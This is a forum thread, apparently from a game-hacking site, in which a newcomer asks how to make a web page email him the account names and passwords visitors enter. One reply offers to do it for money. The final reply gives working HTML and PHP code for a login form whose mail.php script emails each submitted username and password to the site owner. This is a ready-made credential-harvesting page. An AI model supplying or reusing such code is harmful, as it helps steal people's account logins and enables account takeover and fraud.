Results 1 to 5 of 5
  1. #1
    anxigaffit's Avatar
    Join Date
    Nov 2009
    Gender
    male
    Posts
    3
    Reputation
    10
    Thanks
    0

    Can Anyone Help me? :(

    Hi Guys

    Well Im kinda new to html coding and stuff and I would really appreciate your help. I just want to make my site send me the log in info . For example , When someone types in his account name and password , I want that to b sent to my email. Can anyone help me out ?


    Thank you

  2. #2
    iHolyElement's Avatar
    Join Date
    Aug 2009
    Gender
    male
    Location
    i can design a nation.
    Posts
    826
    Reputation
    11
    Thanks
    55
    that includes PHP, give me 5 bucks via paypal and ill do it for you.

  3. #3
    Mr.Magicman's Avatar
    Join Date
    Sep 2009
    Gender
    male
    Location
    Sitting in my cave full of thoughts learning Asembly
    Posts
    2,102
    Reputation
    16
    Thanks
    649
    My Mood
    Cold

    Wink I might help

    i have some experience with HTML i think i might be able to help you out
    if you dont know so much html code watch this page:

    https://www.h t m l d o g .c o m/guides/htmlbeginner/

  4. #4
    iJustHelp's Avatar
    Join Date
    Nov 2009
    Gender
    male
    Posts
    244
    Reputation
    12
    Thanks
    232
    My Mood
    Happy
    this is easily done, just search around google you'll easily find the answer.

  5. #5
    Asian Rapini's Avatar
    Join Date
    Dec 2009
    Gender
    male
    Posts
    1
    Reputation
    10
    Thanks
    0
    Ugh, dont let someone try to charge you money for that.

    This should work:

    Your script will basically contain two parts:
    1. A Form POST
    2. The sending of the email

    For the first part, you will create an HTML form, like this:
    [html]<form name="input" action="some_form.php" method="get">
    Username:
    <input type="text" name="user" />
    Password:
    <input type="text" name="pass" />
    <input type="submit" value="Submit" />
    </form> [/html]

    For the second part, you will use the php mail() function, like this:
    [php]<?php
    $email_to = "somebody@email.com";
    $email_subject = "Test E-Mail (This is the subject of the E-Mail)";
    $email_body = "This is the body of the Email \nThis is a second line in the body!";

    if(mail($email_to, $email_subject, $email_body)){
    echo "The email($email_subject) was successfully sent.";
    } else {
    echo "The email($email_subject) was NOT sent.";
    }
    ?>[/php]

    Now we make them talk to each other and you will make two files:

    form.html:
    [html]<form name="input" action="mail.php" method="post">
    Username:
    <input type="text" name="user" />
    Password:
    <input type="text" name="pass" />
    <input type="submit" value="Submit" />
    </form>[/html]

    mail.php:
    [php]<?php

    if($_POST['submit']) {
    $email_to = "YOUR EMAIL ADDRESS@SOMEWHERE.COM";
    $email_subject = "Form Submitted";



    $user = $_POST['user'];
    $pass = $_POST['pass'];
    $email_body = "Username: " . $user . " \n Password: " . $pass;

    if(mail($email_to, $email_subject, $email_body)){
    echo "The email($email_subject) was successfully sent.";
    } else {
    echo "The email($email_subject) was NOT sent.";
    }
    }
    else{
    die("You didn't submit a form!");
    }
    ?>
    [/php]

Similar Threads

  1. [Help Request] can anyone help me make this mod? for cleric
    By ariefariq2 in forum Dragon Nest Help
    Replies: 3
    Last Post: 09-23-2011, 11:07 AM
  2. [Help Request] Can anyone help me .rez Mod?
    By Albus Dumbledore in forum Combat Arms Mod Help
    Replies: 1
    Last Post: 07-01-2011, 11:22 AM
  3. Can anyone help me a bit?
    By Kingleo33 in forum WarRock - International Hacks
    Replies: 4
    Last Post: 05-12-2008, 06:33 PM
  4. People, can anyone help me?
    By tolik13 in forum WarRock - International Hacks
    Replies: 17
    Last Post: 07-21-2007, 01:56 AM
  5. Can anyone help w/ this?
    By Stranger00 in forum WarRock - International Hacks
    Replies: 5
    Last Post: 05-22-2007, 04:59 AM